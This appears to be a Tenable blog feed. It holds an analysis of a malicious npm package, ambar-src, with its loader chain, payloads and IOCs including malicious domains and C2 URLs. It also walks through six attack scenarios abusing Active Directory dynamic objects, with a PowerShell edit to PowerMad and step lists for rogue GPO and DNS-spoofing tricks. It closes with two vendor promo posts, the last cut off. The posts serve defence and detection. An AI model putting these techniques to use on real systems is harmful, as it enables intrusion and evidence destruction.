Tenable Blog

Tenable Research investigated a malicious npm package with around 50,000 downloads in the public registry. We observed various detection-evasion techniques and saw it deploy multiple powerful open-source malware variants.

Key takeaways

1. A single malicious npm package reached 50,000 downloads in days, highlighting the speed at which supply chain risks propagate.
2. This attack confirms that npm install is a high-risk action. Malicious preinstall scripts can trigger full system compromise without the developer ever importing or invoking the infected code.
3. Attackers are successfully using open-source malware to gain immediate, high-level controls of compromised hosts.

Introduction 

Tenable Research has conducted an in-depth analysis of a malicious package in the npm public registry called “ambar-src” that was downloaded around 50,000 times before it was removed.

It employs multiple techniques to evade detection, and drops open-source malware with advanced capabilities, targeting developers on Windows, Linux and macOS hosts.

The package was first uploaded on February 13th, and npm users started downloading it right away. A new version containing malicious code was published on February 16th.

Unlike other supply chain attacks targeting the npm registry, such as s1ngularity and Shai-Hulud, in which legitimate packages were compromised, “ambar-src” doesn’t have any valid use cases, meaning all versions of this package must be treated as malicious.

FAQWhat kind of security incident is this?

A malicious npm package was recently uploaded to the npm public registry. The package contains verified malicious code.
The package stealthily executes malicious code during the installation process. It also uses multiple detection evasion techniques, and drops a payload, based on the victim's operating system.

The only initial access vector we have identified is typosquatting of popular npm packages, most likely attempting to mimic the popular package “ember-source”, which has over 11 million downloads.

Unlike security vulnerabilities, which are a potential weak spot or software flaw that might be exploited, a malicious package is a confirmed attack containing harmful code, signifying an immediate security breach.

How to know if I am affected?

To determine if you are affected, inspect your environment for the presence of the “ambar-src” package.

The presence of the package in the filesystem likely means that it was installed using the npm package manager, and therefore, infected the relevant host.

That’s why you should treat any system where it is found as fully compromised, and apply relevant incident response and containment playbooks.

Please refer to the last section of the blog for additional IOCs and details about how Tenable can help you protect yourself.

How does the malware run code?

It abuses npm's preinstall script hook, which is a lifecycle script defined in “package.json” that executes during the package-installation process. 

This means that merely running “npm install ambar-src” (or resolving it as a dependency) is sufficient to trigger the malicious payload, requiring no explicit import or invocation of the package's code by the victim. 

The preinstall script is a file that is part of the npm package itself - “index.js”. It contains a log of legitimate code and various string manipulation utilities, or arithmetic operations utility functions.

However, at the same time it contains code that launches an OS-specific one-liner that kicks off the full infection chain. The one-liner is hex-encoded to make detection and analysis of the malicious code harder.
 

 

What payload does the malware install?

After the malicious package executes code using a preinstall script, it executes a one-liner shell command that differs based on the operating system the host is running.

In all operating systems, that one-liner is fetching another loader from a remote server and executing it.

For Windows systems, the decoded one-liner looks like this. As you can see, it also uses x-ya[.]ru to download the payload:
 

It downloads and executes a file called “msinit.exe”. It is a fairly small payload of only 400kb.

“msinit.exe” contains encrypted shellcode that is decoded and loaded into memory upon execution of “msinit.exe”.

In Linux systems, although the malicious code identifies the victim’s Linux architecture, it deploys the same one-liner regardless.

Here’s how the decoded hex string one-liner looks like:
 

The one-liner fetches a bash script from x-ya[.]ru and executes it. The bash script that is fetched from the remote URL looks like this:
 

This follows a similar pattern of fetching a payload from a remote server and executing it. However, in this case the malware is fetching an ELF binary from the remote URL, and saving it to the disk as “osa”, and then executing it.

During our own analysis, we identified another Linux ELF file in the memory of “osa” with the hash 83e131a2761d6f3a5636cf329182242a927a618174dd440989dc9286be4edeac
 

Please note that this is an ELF executable file, and not a Windows EXE file as the name suggests.

The binary can be identified as a client of “github.com/NHAS/reverse_ssh”, a reverse shell written in Golang, by inspecting the Golang build metadata: 
 

For macOS systems, the initial hex encoded command line looks like this:
 

It follows a similar pattern by fetching a script from a remote URL and executing it, all while using “nohup” to prevent the malicious code from blocking the installation process. 
The remote URL contains the following script, again fetching a JavaScript payload from a remote URL and executing it using “osascript”

“osascript” is a utility that comes with every macOS computer and that can be used to execute AppleScript or JavaScript for different purposes.

The file that is then fetched from the remote URL (a5aef90) is big, considering it is a JavaScript file: 500kb.

That file is the Apfell payload, which is part of the MythicAgents family of open-source payloads. 
Apfell is written in JavaScript specifically for macOS, and comes with a large set of impressive capabilities including:

• Basic reconnaissance
• Screenshot collection
• Theft of Google Chrome data
• Opening of fake password prompts

How does the malware exfiltrate data?

The initial infection uses the domain “x-ya[.]ru” to download the malicious payloads.
However, after the initial infection, all the different payloads communicate with function.yandexcloud[.]ru.

This is a well known technique (MITRE “Web Service T1102”), where malware uses well-known web services as a command-and-control relay. This technique makes the traffic looks more legitimate and less likely to be blocked by corporate network security solutions.

When did this security incident begin?

The package was first uploaded to the npm public registry on February 13th. However, the first versions of the malware didn’t contain any malicious code. Three days later, specifically at 2026-02-16 12:18:45 UTC, a new version of the package containing malicious code was uploaded to the public registry.

Is it linked to other campaigns?

JFrog Research recently published a blog about a similar malicious package called “eslint-verify-plugin” that was published in a similar timeframe as “ambar-src”.

From our analysis, “ambar-src” looks more mature than “eslint-verify-plugin”, and uses a couple of techniques to make detection harder:

• Hex encoding the malicious command strings
• Publishing multiple versions of the package without any malicious code
• Gaining almost 30k downloads, before publishing the malicious code
• Including legitimate code as part of the package to masquerade the malicious code

In addition, it contains a payload targeting Windows hosts.

What is the impact on a victim of this attack?

If this package is installed or running on a computer, that system must be considered fully compromised. Immediate action is required: all stored secrets and keys on the affected machine should be rotated from a separate, secure computer. 
While the package should be removed, please be aware that because an external entity may have gained full control of the computer, removing the package does not guarantee the elimination of all resulting malicious software.

Has npm addressed this malicious package?

npm removed the package from the public registry at 2026-02-16 17:02:44 UTC, less than five hours after the first version containing the malicious code was published.
In addition, a GitHub Advisory (GHSA), marking this package as malicious, was published.

Do end users need to take any steps to address this in their environment?

End users should check for the presence of the malicious package in their environment using the IOCs we provided.

Which Tenable product can be used to address this security incident and how can it be used to do so? 

Tenable Cloud Security can be used to detect the presence of the malicious package in your cloud environment.

You can do this using the “software” page and looking for a software item with the name “ambar-src”.
 

Any workload with the “ambar-src” package should be considered compromised.

IOCsTypeIOCDescriptionPackage nameambar-srcName of malicious npm packagefilenamemsinit.exeWindows Payloadsha2569b76e275d989ebc3b43911a5e1d2b64ef9544a6b1dbc69a3412bd0ccadaed567msinit.exefilenamef8ca2c8d74f0785c549f09c36147cd0eLinux shell scriptsha2568963568963f770e237bff2b228106e4ce7ebb0a1af0e0cf7b26028bdc8515bc5Linux shell script called “f8ca2c8d74f0785c549f09c36147cd0e”sha25683e131a2761d6f3a5636cf329182242a927a618174dd440989dc9286be4edeacLinux payload called “osa”sha2561e6fa5021db4dd40b571cc4e654a71c22d0f607d13fb8a4a5a46a64060f3071eLinux payload of type “NHAS/reverse_ssh”filename9a8c2a83f66f49b88e36d28894a34009Mac shell scriptsha256521ade4aeb95039e1712f8284eba333199fc819f1e0f9db41d6bc9849b131109Mac shell script called
“9a8c2a83f66f49b88e36d28894a34009”filenamea5aef90Mac javascript payloadsha256492f2366ece5c544a4062da14da5883bc825d6f2bc58cda975799dca9f85b150Mac javascript payload called “a5aef90”domainx-ya[.]ruDomain from which malicious payloads are fetchedurlhttps://functions.yandexcloud.net/d4eblscvbp200glhmmcoePlC2 communications urlurlhttps://functions.yandexcloud.net/d4eblscvbp200glhmmco0lC2 communications urlurlhttps://functions.yandexcloud.net/d4eblscvbp200glhmmcopl8C2 communications urlurlhttps://functions.yandexcloud.net/d4eblscvbp200glhmmcoC2 communications urlConclusion

We are seeing a rise in the malicious npm packages and supply chain attacks targeting the npm ecosystem, and their sophistication level.

In this blog we have reviewed the malicious package "ambar-src", that despite only being available in the public registry for three days, was downloaded over 50,000 times.

This malicious npm package used a preinstall script to execute code during the installation process. This is a very common technique used by malicious npm packages, and we expect to see more of these in the future.

We identified several intriguing detection evasion techniques used by this malware. In addition we observed it deploying various sophisticated open-source payloads tailored to the host's operating system. 

Although their capabilities differed, each payload was very powerful, potentially leading to a complete compromise of the infected host and subsequent network pivoting.

Learn more about Tenable Cloud Security

Active Directory’s "dynamic objects" feature offers attackers a perfect evasion cloak. These objects automatically self-destruct without a trace, so they allow adversaries to bypass quotas, pollute access lists, and persist in the cloud, leaving forensic investigators with nothing to analyze.

Key takeaways

1. The threat: Dynamic objects self-delete without leaving any traces, or “tombstones” in AD parlance, hindering security teams’ post-attack audits. For example, the machine account quota (MAQ) default configuration lets attackers create machine accounts and use them for malicious purposes, but usually attackers cannot delete them afterwards. However, dynamic objects allow attack traces to self-destruct.
2. The impact: While the dynamic object itself disappears, its footprint remains. The deletion leaves behind confusing "ghost" data, such as unresolved security identifiers (SIDs) in critical access control lists (ACLs), broken group policy object (GPO) links, and stale Entra ID users. These artifacts break logical links and make forensic reconstruction nearly impossible because the source object no longer exists.
3. The defense: Because post-mortem forensics fail, you must detect the attack while it is active. Security teams must implement near real-time monitoring and alerting for the creation of objects with entryTTL or msDS-Entry-Time-To-Die attributes and correlate them with orphan SIDs to identify the breach before the evidence destroys itself.

Active Directory lets administrators create entries that delete themselves at a pre-determined time. However, these entries, called dynamic objects, can be stealthily abused by attackers in multiple ways that leave no forensic traces. Read on to learn more about these threats and how you can protect your organization.

What is a dynamic object?

In simple terms, a dynamic object is an AD object with a built-in timer. When you create one, you assign it a time-to-live (TTL).

• The attribute entryTTL acts as a countdown (in seconds).
• When the counter hits zero, the AD garbage collector instantly deletes the object.
• Unlike standard AD objects, dynamic objects do not go to the recycle bin or become traceable "tombstones." They simply vanish.

This "tombstone bypass" creates a forensic nightmare when attackers abuse dynamic objects. Once the object expires, its metadata is gone. There is no way to restore it or see who created it, leaving only indirect artifacts like broken links or orphan security IDs.

A more technical look at dynamic objects

To create these temporary objects, you specify the auxiliary class dynamicObject during the creation. This schedules the object for automatic deletion by the AD Garbage Collector (GC) once its TTL expires.

Dynamic objects have two attributes indicating when the object will be deleted. They are in-sync but represent the date in different formats:

• msDS-Entry-Time-To-Die: Holds the absolute expiration time of a dynamic object in the directory.
• entryTTL: Represents a countdown in seconds until the self-deletion of the object. It can be updated to reduce or extend the duration, and the msDS-Entry-Time-To-Die will be updated accordingly.

As stated, once dynamic objects expire, they’re fully deleted, leaving behind only indirect artifacts, such as logs, cached Kerberos tickets, and linked attributes on other objects.

However, dynamic objects are not always purged the instant their TTL hits zero. In our tests, deletion was instantaneous on freshly rebooted domain controllers, but we observed delays of up to 15 minutes on systems that had been up for under 24 hours. For security teams, this delay is significant as it provides a brief “extended” window to inspect or back up the object’s attributes for forensic purposes before it is permanently removed.

While dynamic objects technically support a TTL between one second and one year, the actual constraints are managed via the msDS-Other-Settings attribute in the Configuration partition. This attribute controls both the minimum allowed duration (DynamicObjectMinTTL) and the default duration (DynamicObjectDefaultTTL) applied when no value is provided during object creation.

Dynamic objects are unsupported in the Configuration and Schema partitions. This is very important from a security and stability perspective: It prevents the use of these temporary objects in the most sensitive areas of Active Directory. Allowing these would be disastrous For instance, if a schema class were to disappear automatically, any object relying on that class would become corrupted, leading to significant integrity issues.

For foundational concepts, consult:

• https://learn.microsoft.com/en-us/archive/blogs/pfesweplat/ad-object-detection-detecting-the-undetectable-dynamicobject
• https://medium.com/@nannnu/fun-with-dynamic-objects-in-ad-part-1-743c21dd934f

Next, we’re going to outline six scenarios showing how attackers weaponize dynamic objects.

Scenario 1 - Bypassing machine account quotas

By default, ms-DS-MachineAccountQuota allows any authenticated user to create ten computer objects. Attackers create these computer accounts for techniques like resource-based constrained delegation (RBCD) abuse or sAMAccountName spoofing (specifically CVE-2021-42278 and CVE-2021-42287 where an attacker renames a machine account to impersonate a domain controller).

However, once the quota is full, attackers are blocked, and the malicious accounts remain as evidence. Or if the attack fails to get elevated privileges, they cannot delete the machine accounts they created. This leaves behind a permanent evidence for defenders. 

But attackers can modify their scripts using, for example, PowerMad to create dynamic machine accounts. The New-MachineAccount function fills the required attributes and creates the machine account. To use a dynamic object for that purpose, there is only one change to make: replace the line below …

$request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "objectClass","Computer")) > $null

 … with this one:

$request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "objectClass", "dynamicObject", "Computer")) > $null

 

Detailed view of an AD dynamic object (computer) highlighting the expiration attributes.

If the attack fails or finishes, the machine account automatically deletes itself after 24 hours. The quota slot is freed up for re-use, and the evidence of the malicious computer account disappears completely.

Let’s look at this process in more detail.

We attempted to define a custom, short TTL of 60 seconds. However, due to the privilege restrictions applied to standard user accounts, this request was rejected. Consequently, we had to resubmit the request without specifying the TTL. As a result, the system applied the default lifetime value defined in msDS-Other-Settings\DynamicObjectDefaultTTL: a 24-hour (86,400 seconds) expiration.

After this period ends, the machine account is silently and completely removed, bypassing standard retention mechanisms.

Note: When creating dynamic users or groups with the PowerShell code example (courtesy of Microsoft), we can see the value of the entryTTL and msDS-Entry-Time-To-Die attributes in the Active Directory Users and Computers (ADUC) management console.
 

Attribute Editor view of an AD dynamic object (user) illustrating the active entryTTL countdown and its corresponding deletion timestamp.

Curiously, for dynamic machine accounts created via MAQ, the entryTTL attribute is not visible within ADUC. However, verification with LDP.exe proves the attribute is set correctly, and indicates a limitation in the Microsoft Management Console (MMC). (See previous screenshot with LDP.exe related to the same “DynMachine” object.)
 

Attribute Editor view of an AD dynamic object (computer) where the entryTTL attribute incorrectly displays <not set>, illustrating a bug in the MMC.

However, the msDS-Entry-Time-To-Die attribute appears as expected.
 

Attribute Editor view of an AD dynamic object (computer) showing the msDS-Entry-Time-To-Die timestamp, while simultaneously failing to display the entryTTL.

The primary defense strategy is unchanged: the MAQ should effectively be disabled by setting it to zero. Tenable Identity Exposure facilitates this hardening process by flagging vulnerable configurations via the Users Allowed to Join Computers to the Domain indicator of exposure (IoE).

Scenario 2 - Primary Group ID corruption

In this attack scenario, the attacker leverages the primaryGroupID (PGID) attribute by setting a user’s PGID to the relative identifier (RID) of a dynamic group. This grants the user implicit membership that doesn't show up in the standard tools memberOf attribute, making it “'invisible” in common administrative tools. However, the membership remains fully functional for Kerberos tickets and access tokens.

When the dynamic group expires and is deleted, the user is left with a non-existent RID. This makes auditing much more difficult. Furthermore, because AD doesn't automatically clean up the PGID when a group is deleted, the user is left with a corrupted attribute that points to a broken reference to a non-existent object.

Let’s look at this in more detail.

Normally, if you assign the PGID of a group to a user, the group cannot be deleted.
 

ADUC error message demonstrating that a security group cannot be deleted because it is currently assigned as the Primary Group for a user (TestUserPGID).

This raises a question: Does the protection of the PGID group removal take precedence over the dynamic object TTL?

For this scenario, we created a dynamic group “DynGroup”, and added “TestUserPGID” as a member of the group. Finally, we set the PGID of “DynGroup” to “TestUserPGID”.

To test this, we established the following configuration:

1. Created a dynamic group named “DynGroup”.
2. Added “TestUserPGID” as a member.
3. Updated the primaryGroupID of the user “TestUserPGID” to match the RID of the dynamic group.

First, we attempted to manually delete the group using standard administrative tools. As anticipated, the operation was blocked, due to the same consistency error observed in the previous test.
 

Attempt to delete a dynamic group that fails because it is currently assigned as a user’s Primary Group.

Later when the object expired, the dynamic group was automatically deleted by the system. However, this deletion did not trigger a cleanup of the user's primaryGroupID attribute. As a result, it now points to a non-existent object.
 

Orphaned user account after its dynamic primary group has expired, resulting in a missing group record and a broken <None> primary group assignment in the MMC.

This introduces the risk of unforeseen side effects. At the very least, this breaks referential integrity generating residual “garbage” that persists in the AD database.

Moreover, if this dynamic group had high-level privileges, its automated deletion would create a significant forensic gap. Since dynamic objects bypass the standard tombstone lifecycle, defenders would find no record of the group itself. This ephemeral lifetime obscures the origin of the user's privileges, complicating root cause analysis and incident response.

To mitigate this risk, organizations should strictly limit modifications to the primaryGroupID attribute. Security teams can leverage Tenable Identity Exposure to continually monitor for these deviations using the User Primary Group IoE.

Scenario 3 - Orphan SID and AdminSDHolder pollution

This scenario is likely the first risk that comes to mind once you understand the lifecycle of dynamic objects. 

To demonstrate its severity, we won't just look at a standard file server ACL. We are going to target the AdminSDHolder object.

Why AdminSDHolder? We chose this target because it acts as the security template for all privileged groups and users in AD. Any permission added here is automatically propagated to every Tier-0 account by the SDProp process. As a result, security tools will flag an "unresolved SID" (a string of numbers) with administrative rights. Investigators can see that someone had access, but they can’t determine who it was. This allows us to demonstrate how a single ephemeral object can pollute the entire privileged landscape of a domain in under 60 minutes.

Let’s look at the process in more detail.

For this test, let’s compare the behavior of a standard deletion versus a dynamic expiration:

1. We create two users:
   1. “User_Standard”: A regular AD user.
   2. “User_Dynamic”: A dynamic user with a short TTL.
2. We add a permissive access control entry (ACE) for both users to the AdminSDHolder ACL.
    

LDP view of a security descriptor comparing two ACEs: one assigned to a temporary dynamic user account (Ace[9]) and another to a standard user account (Ace[10]).

   3. The deletion:

            a. We wait for the TTL to expire on “User_Dynamic”, which is fully deleted by the system.
            b. Immediately after, we delete “User_Standard”, which goes to the recycle bin/tombstone.

Now, let's look at the AdminSDHolder ACLs.
 

LDP view of a security descriptor showing two ACEs: an 'Unknown SID' legacy from an expired dynamic object (Ace[9]) and a DN pointing to a standard deleted object in the Deleted Objects container (Ace[10]).

Typically every 60 minutes, the AdminSDHolder background task resets the ACLs of all privileged objects to match the container's security descriptor.

• “User_Standard”: Security tools will flag the SID, but because the object still exists in the AD. The SID can be resolved to a name, a deletion date, and more attributes.
• “User_Dynamic”: The SID is completely unresolvable. It is an "Orphan SID."

This creates a significant effort for SOC analysts and incident responders. Security tools will report "Unknown SIDs with elevated rights" on your most critical assets.

The forensic investigation is immediately compromised:

• No object recovery: Since dynamic objects skip the recycle bin, there is no object to restore.
• No tombstone: There is no forensic trace of the object's metadata in the directory.

Blue teams waste time verifying if this is a corruption issue or a stealth persistence mechanism, rather than a simple misconfiguration. This creates noise and confusion, potentially intended to distract from real threats.

To catch this, you need security monitoring that tracks the relationship between ACLs and object states in real-time. Tenable Identity Exposure helps identify such anomalies via several IoEs reporting dangerous ACEs on critical assets, including “Ensure SDProp Consistency”. Allowing you to clean this pollution immediately.

Scenario 4 - Orphan gPLink (GPO) and gPCFileSysPath abuse

In this scenario, an attacker creates a dynamic GPO that points to a malicious script on an attacker-controlled server. They link this GPO to an Organizational Unit (OU) to execute code on victim machines.

Once the TTL expires, the GPO object is deleted. The result? The link on the OU remains, but it is "broken" because the GPO itself is gone. This technique strips away the forensic evidence, leaving investigators with a broken link and no payload to analyze.

Here’s a more detailed look.

A standard GPO consists of two parts: the group policy container (GPC) represented by an LDAP object, and files inside the SYSVOL folder (GPT). The GPC contains an attribute called gPCFileSysPath, which tells the computer where to fetch the files to execute.

Note: Unlike in previous tests, we enabled the AD recycle bin to ensure the gPCFileSysPath value persists for the standard object after deletion.

As detailed in Synacktiv's "GPODDITY" research, an attacker can modify this attribute to point not to SYSVOL, but to a malicious, attacker-controlled SMB share.

By combining this spoofing technique with dynamic objects, an attacker can create the following attack:

1. The attacker creates a dynamic GPO (with the classes dynamicObject and groupPolicyContainer) and uses a short TTL.
2. They set the gPCFileSysPath attribute to point to their malicious server.
3. They link this GPO to a sensitive Organizational Unit (OU) by modifying the gPLink attribute on the OU.
4. Computers in that OU refresh their policy, read the malicious path, and execute the payload.

As in the previous scenario, we will compare the behavior of a dynamic object against a standard one.
 

LDP comparison of a standard GPO vs. a dynamicObject GPO, showing how a temporary policy can be linked to an OU with a self-destructing gPCFileSysPath.

  5. The TTL expires, then the system fully deletes the GPO object. To make the comparison with a standard object easier, we also delete the “StdGpoOu” at this stage.

 

LDP view of an Organizational Unit still referencing an expired dynamic GPO in its gPLink attribute, alongside a search confirming the GPO object has been completely removed.

When a standard GPO is deleted, it goes to the recycle bin or tombstone. An analyst can recover it to see what script was executed or where the gPCFileSysPath was pointing.

With a dynamic GPO, there is no tombstone. The object is gone. The attribute containing the malicious path (gPCFileSysPath) is destroyed. The only evidence left is the gPLink on the OU, pointing to a globally unique identifier (GUID) that no longer exists. The analyst sees a "broken link," but they have no way to prove that this missing object was responsible for the code execution, nor can they retrieve the path to the attacker's server to analyze the payload.

Tenable Identity Exposure allows you to detect this immediately via the “GPO Execution Sanity” IoE. Detecting these objects is difficult because they often disappear before a scan can occur. Instead, you can look for the traces and inconsistencies they leave behind. In this case where the dynamic object is a GPO, it leaves more than just an LDAP artifact: it can be identified using methods similar to the “Unlinked, Disabled or Orphan GPOs“ IoE (by looking for structural inconsistencies rather than the objects themselves).

Scenario 5 - Ephemeral DNS record

In our fifth scenario, an attacker can create a dynamic DNS record to redirect traffic (e.g., spoofing a file server) to capture credentials, taking advantage of DNS records that are just standard objects in AD.

Consequently, the victim's computer queries the server and caches the malicious IP address. The dynamic DNS record expires and disappears from the AD server.

As a result, the victim is still compromised (using the cached IP), but the DNS server looks perfectly clean. An analyst checking the server logs will find no record of the malicious entry.

Here’s a more detailed look.

Just like users and groups, AD-integrated DNS records are standard LDAP objects (class dnsNode) stored in the DomainDnsZones or ForestDnsZones partitions. Because they are not located in the Configuration or the Schema partitions, they can be made dynamic.

This capability opens the door for attackers to perform temporary traffic redirection such as spoofing a legitimate server or capturing credentials via a man-in-the-middle technique without leaving a permanent footprint in the directory.

An attacker could create a dynamic DNS record leading to the following consequences:

1. The DNS server reads it and answers queries.
2. The client caches the answer.

To illustrate the forensic impact, we will compare this against a standard DNS record.
 

Dual view in DNS Manager and LDP showing a 'malicious-dyn-website' record created as a dynamicObject.

   3. The dynamic object self-destructs.

   4. The attack continues because the victim is holding the malicious data in their local cache, while the DNS server is completely clean of any trace.

 

Comparison between an expired dynamic DNS record, which has been permanently purged from the directory, and a standard DNS record that still exists.

Note: If you still see the records in the DNS Manager, it is only because of the DNS cache. A manual refresh will update the view and confirm their deletion.
 

DNS Manager MMC showing the manual 'Reload' task used to refresh the zone and clear expired records.

This results in a discrepancy where the attack persists on the endpoint, but the originating evidence is no longer present in the infrastructure.

It’s not easy to track them because:

• Standard DNS logs rarely capture transient records unless performance-killing debug modes are enabled.
• Just like in the previous scenarios, there is no tombstone, and no records in the AD.
• An analyst investigating a strange connection will check the DNS server and find a perfectly clean zone.

Since the evidence destroys itself, post-mortem analysis is made more difficult. While you could try to catch the configuration change in real-time, distinguishing a malicious record from a legitimate one is difficult and prone to false positives.

The most reliable detection strategy is to flag the anomaly itself: Report any DNS record that is a dynamic object. This can be done with a real-time detection based on the AD replication flow, or with event logs.

Scenario 6 - Hybrid sync gap in Entra ID

In this final scenario, we demonstrate how dynamic objects create persistent artifacts that extend beyond the on-premises domain into Entra ID.

When an attacker creates a dynamic user on Active Directory, Microsoft Entra Connect synchronizes it to the cloud as usual. However, because Entra Connect's delta sync depends on “tombstones” to identify deleted objects, it fails to detect when a dynamic user expires. 

Since these objects self-destruct without leaving a trace, the synchronization engine never triggers a deletion in the tenant. Consequently, the cloud user remains active, orphaned, and fully functional on the cloud side.

Let’s dive into the details of this synchronization gap.

To visualize it, we will compare the lifecycle of a synchronized dynamic user against that of a standard user.
 

Hybrid identity view showing the synchronization of a dynamicObject (UserForCloudDyn) and a standard user (UserForCloudStd) to Entra ID for comparison.

Once the TTL reaches zero, the dynamic object is self deleted without tombstone, and we manually delete the standard object to identify the differences.

Hybrid identity view showing that an expired on-premises dynamic user ('UserForCloudDyn') still remains active in Entra ID, despite the synchronization cycle.

The standard object deletion has been replicated into the Entra tenant where the Entra user was deleted by Entra Connect, but not the dynamic object deletion, creating a synchronization gap.

Moreover, attempts to manage the object (like resetting a password) prove the object is still active and valid in the cloud, despite the on-prem source being long dead.
 

Microsoft Entra admin center view demonstrating an administrative deadlock: the password reset is blocked because the cloud identity remains linked to an on-premises source that has already expired and been purged from Active Directory.

Note: The orphaned Entra user can only be removed by triggering a manual full synchronization in Entra Connect, which re-evaluates all AD objects.

Conclusion

Abusing AD dynamic objects turns a standard, yet rarely seen feature into a forensic nightmare. By leveraging self-deletion, attackers can abuse mechanisms like MAQ and DNS spoofing while evading the recycle bin entirely. The impact is not just local. It propagates to the cloud, creating synchronization gaps in Entra ID that persist long after the attack ends.

Because post-mortem analysis is often very difficult with these objects, the only effective defense is to be proactive. Tenable One Identity Exposure has a dedicated IoE (Dynamic Objects Misconfiguration and Usage) and the real-time visibility needed to uncover these ephemeral threats and close the forensic gap. By feeding this identity-first exposure context into the Tenable One exposure management platform, organizations can ensure these stealthy risks are automatically prioritized alongside host vulnerabilities and cloud risks. This unified approach ensures that even if an object "self-destructs," the elevated risk it created is already prioritized within your overall attack surface, leaving adversaries with nowhere to hide, and no way to erase their tracks.

AI adoption is outpacing traditional cyber governance. The “Tenable Cloud and AI Security Risk Report 2026” reveals how overprivileged identities and unmonitored supply chain dependencies leave orgs exposed. We offer 10 tactics to shut down your most critical attack paths. 

Key takeaways

1. The velocity trap: Security teams are fighting "machine-speed" threats with manual processes; you must move from volume-based management (fix everything, or try to) to context-based exposure management (fix what matters) to stay ahead.
2. The non-human identity crisis: With 52% of non-human identities holding critical excessive permissions, the "identity attack surface" is now dominated by overprivileged roles rather than human users.
3. Supply chain weaponization: Third-party risk has evolved from passive flaws to active compromise. Mapping the blast radius of external entities is no longer optional—it is a core requirement for governance, risk, and compliance (GRC).

The velocity trap

Every year, the gap between "how fast we build" and "how well we protect" creates a new set of silent liabilities. In the “Tenable Cloud and AI Security Risk Report 2026,” we’ve analyzed real-world telemetry from diverse public cloud and enterprise environments to identify where this gap is most dangerous. The data reveals a critical tension: While teams are rushing to integrate AI and leverage third-party code, they are inadvertently creating direct, unmonitored paths to sensitive data.

1. The AI security posture blind spot

AI adoption is no longer experimental. According to a recent study by Cloud Security Alliance (CSA) in partnership with Tenable, 55% of organizations now use AI tools for active business needs. However, this engineering speed has created a systemic control gap in the underlying access infrastructure.

Our latest telemetry analysis, performed via Tenable One Cloud Security, reveals the technical reality: 18% of organizations have overprivileged IAM roles that AWS AI services can instantly assume. These roles often carry critical administrative permissions but are rarely audited for least-privilege alignment.
 

18% of organizations harbor overprivileged IAM roles that AWS AI services can assume – including a 13% critical exposure layer primed for high-impact compromise.

Also of considerable concern is the "dormancy gap." We found that 73% of Amazon SageMaker roles and 70% of Amazon Bedrock agent roles are currently inactive. These abandoned roles act as a pre-packaged catalog of privileges waiting to be claimed by an attacker who gains a foothold in your AI environment.

2. The poisoned supply chain: code and access

Cloud security risk management must now account for active weaponization, as supply chain weaknesses have evolved from passive, latent flaws to immediate, active compromise.

The third-party code risk

• Vulnerable packages (passive risk): A staggering 86% of organizations have at least one third-party code package containing a critical-severity vulnerability.
• Malicious packages (active threat): 13% of organizations have deployed third-party code packages with a known history of compromise, such as those affected by the s1ngularity or Shai-Hulud malware campaigns.

 

13% of organizations — nearly one in eight — have deployed at least one third-party code package with a known malicious history. 

The access risk

It isn't just about the code you import; it's about the permissions you grant to external entities, such as partners, suppliers and contractors. Our research shows that 53% of organizations have given third parties access to internal systems via external accounts capable of assuming highly risky, excessive permissions. In many cases, the "blast radius" is massive: 14% of organizations expose over 75% of their total cloud resources to trusted third-parties via these external accounts. If a single trusted vendor is breached, the adversary gains a direct path for lateral movement across your entire estate.

Why these findings demand action now

Modern governance must address these converging threats, as our research shows that for 70% of organizations, AI and model context protocol (MCP) packages have become core components of the production cloud stack.

• The AI standing privilege risk: 18% of organizations harbor AI services with administrative permissions that are rarely audited.
• Non-human identities dominate: 52% of non-human identities possess critical excessive permissions, outpacing human identities (37%). Over a third of these non-human roles are inactive — a large but easily mitigated exposure.
• Massive supply chain blast radius: Single-vendor compromises can grant an adversary instant lateral movement across your most sensitive systems.

 

52% of non-human identities are highly overprivileged, of which 37% are inactive. Eliminating these inactive “ghost” roles is the most efficient path to reducing the identity attack surface.

Summary takeaways: How effective is CNAPP in managing AI and cloud security risks?

Standard security tools often fail because they lack the unified context of how identities, workloads, and AI services intersect. To safely navigate the velocity trap, organizations need a modern GRC framework powered by exposure management —not basic scanning. Tenable One Cloud Security provides this unified context through a CNAPP that integrates AI-SPM, CIEM, DSPM, and CSPM to address the full spectrum of cloud and AI risk:

• Neutralize ghost roles and classify data: Tenable Cloud Security's identity-first approach automatically identifies inactive roles while DSPM classifies sensitive data. Mapping access to your sensitive data allows you to automate the cleanup of the most dangerous exposure paths—including dormant AI service entitlements that expand the identity attack surface.
• Prioritize via exploitability: Tenable One correlates cloud misconfigurations, identity risks, and vulnerability data to surface real exploitable exposures rather than flat severity scores. This exposure context lets you systematically remove the "sitting ducks" that attackers strike first—whether they're overprivileged AI roles, vulnerable third-party packages, or excessive external entitlements.
• Enforce zero trust with JIT access: Tenable Cloud Security's Just-in-Time (JIT) access eliminates permanent attack paths by ensuring overprivileged roles—including those assumed by AI services—only activate when needed, containing the "blast radius" during a potential compromise.

Tenable One Cloud Security enables you to achieve AI risk management and cloud security risk management by providing the unified visibility needed to close these exposure gaps – across hybrid and multi-cloud environments. Ready to see the full data and discover all 10 strategic recommendations?

Register now to download the full “Tenable Cloud and AI Security Risk Report 2026”

“Tenable’s asset and attack surface coverage, its application of AI and its reputation for vulnerability assessment makes it the front-runner in AI-powered exposure assessment,” Gartner writes in “AI Vendor Race: Tenable Is the Company to Beat for AI-Powered Exposure Assessment.”

Key takeaways from Tenable

1. This is the latest among a recent string of recognitions Tenable One has received from independent analyst firms for being one of the leading exposure management platforms.
2. Tenable One’s advanced and comprehensive use of AI allows it to automate complex attack path analysis, prioritization, and remediation workflows.
3. The new Tenable One AI Exposure enables organizations to discover, govern, and secure AI assets across hybrid environments within a single unified platform.

To protect today’s expanding attack surface, organizations need to adopt an exposure management platform that holistically and proactively secures all types of assets everywhere: cloud workloads, on-prem servers, operational technology (OT) systems, IoT devices, artificial intelligence tools, and more.

And in order to continuously detect, correlate, and analyze all of these assets’ exposures – including vulnerabilities, misconfigurations, identity flaws, and unprotected data – your exposure management platform must have robust AI capabilities.

That’s exactly how we’ve built the Tenable One exposure management platform. Today, we’re proud to share the latest recognition for Tenable One.

In its recent publication “AI Vendor Race: Tenable Is the Company to Beat for AI-Powered Exposure Management” (accessible to Gartner clients only), Gartner had this to say about Tenable’s standing in the exposure assessment platform (EAP) space:

